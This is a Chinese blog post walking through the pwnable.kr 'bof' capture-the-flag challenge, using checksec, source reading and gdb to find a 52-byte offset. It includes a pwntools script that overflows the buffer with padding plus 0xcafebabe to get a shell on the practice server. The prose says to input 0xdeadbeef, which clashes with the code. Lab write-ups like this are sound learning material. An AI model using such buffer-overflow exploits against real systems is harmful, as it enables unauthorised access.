美文网首页
Pwnable.kr-3.bof

Pwnable.kr-3.bof

作者: Zero_0_0 | 来源:发表于2018-10-13 18:19 被阅读0次

    下载链接:
    http://pwnable.kr/bin/bof
    http://pwnable.kr/bin/bof.c
    1.先查看程序的保护机制 checksec bof 发现开启的机制好多啊,应该不会这么难吧。
    2.查看一下程序的源码!cat bof.c

    图片.png
    分析:我们只要输入0xdeadbeef 就可以得到我们想要的结构。我们开始布局函数
    3.首先查看一下我们要填充的数据的大小
    gdb ./bof 进入函数,先下断点, 图片.png

    需要填充的数据大小为 52

    图片.png

    代码

    from pwn import *
    
    r = remote('pwnable.kr','9000')
    
    buf = 52 * 'A'
    buf += p32(0xcafebabe)
    
    r.sendline(buf)     
    
    r.interactive()
    

    pyrhon esp.py
    完成交互!
    注:ls查看程序里面的文件夹,发现flag文件,用cat flag查看文件里面的内容

    相关文章

      网友评论

          本文标题:Pwnable.kr-3.bof

          本文链接:https://www.haomeiwen.com/subject/ltaoaftx.html